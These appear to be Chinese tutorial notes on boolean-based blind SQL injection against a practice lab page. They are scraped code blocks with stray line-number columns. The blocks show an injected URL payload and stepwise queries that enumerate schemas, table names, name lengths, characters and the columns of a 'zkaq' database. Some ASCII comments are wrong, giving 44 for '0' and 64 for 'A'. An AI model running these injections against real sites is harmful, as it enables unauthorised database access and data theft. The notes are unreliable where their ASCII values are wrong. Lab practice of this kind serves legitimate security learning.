1
2
3

-- 数据库数量探测

http://vulhub.example.com:81/Pass-10/index.php?id=1  AND (SELECT COUNT(*) FROM information_schema.SCHEMATA)=6

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

-- 查询当前数据库有多少张表
SELECT COUNT(*) FROM information_schema.`TABLES` WHERE TABLE_SCHEMA=database(); 

-- -- 探测表名
-- 1.1 查询当前数据库表名。
SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database()  ;

-- 1.2 使用 limit 查询返回数量， LIMIT 起始值为 0 。
SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database() LIMIT 0,1  ;
SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database() LIMIT 1,1  ;

-- 2.1 表名长度
SELECT LENGTH((SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database() LIMIT 0,1))  ;

-- 2.2 表名探测, SUBSTR() 函数起始值为 1 。
SELECT SUBSTR((SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database() LIMIT 0,1),1,1) ;

-- 2.3 判断
SELECT 'n'=(SELECT SUBSTR((SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database() LIMIT 0,1),1,1)) ;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

-- 查询当前数据库有多少张表
SELECT COUNT(*) FROM information_schema.`TABLES` WHERE TABLE_SCHEMA=database(); 

-- -- 探测表名
-- 1.1 查询当前数据库表名。
SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=(SELECT database())  ;

-- 1.2 使用 limit 查询返回数量， LIMIT 起始值为 0 。
SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=(SELECT database()) LIMIT 0,1  ;
-- result: news
SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=(SELECT database()) LIMIT 1,1  ;
-- result: uses

-- 2.1 表名长度
SELECT LENGTH((SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=(SELECT database()) LIMIT 0,1))  ;

-- 2.2 表名探测, SUBSTR() 函数起始值为 1 。
SELECT SUBSTR((SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=(SELECT database()) LIMIT 0,1),1,1) ;

-- 2.3 判断
SELECT 'n'=(SELECT SUBSTR((SELECT DISTINCT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=(SELECT database()) LIMIT 0,1),1,1)) ;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

-- dbname: zkaq
-- tablename: news

-- 1.1 探测所有字段数量
SELECT count(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='zkaq' AND TABLE_NAME='news';
-- 1.2 探测所有字段
SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='zkaq' AND TABLE_NAME='news';
-- 1.2 某一个字段
SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='zkaq' AND TABLE_NAME='news' LIMIT 0,1;

-- 2.1 探测字段名字符
SELECT SUBSTR((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='zkaq' AND TABLE_NAME='news' LIMIT 0,1),1,1) ;
-- 2.2 探测字段名 BOOL
SELECT 'i'=(SUBSTR((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='zkaq' AND TABLE_NAME='news' LIMIT 0,1),1,1)) ;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

-- ASCII

SELECT ASCII('0'),ASCII('9'),ASCII('A'),ASCII('Z'),ASCII('a'),ASCII('z'),ASCII('_'),ASCII('-') ;

-- 95
SELECT ASCII('_') ;
-- 45
SELECT ASCII('-') ;

-- 44
SELECT ASCII('0') ;
-- 57
SELECT ASCII('9') ;

-- 64
SELECT ASCII('A') ; 
-- 90
SELECT ASCII('Z') ; 

-- 97
SELECT ASCII('a') ; 
-- 122
SELECT ASCII('z') ;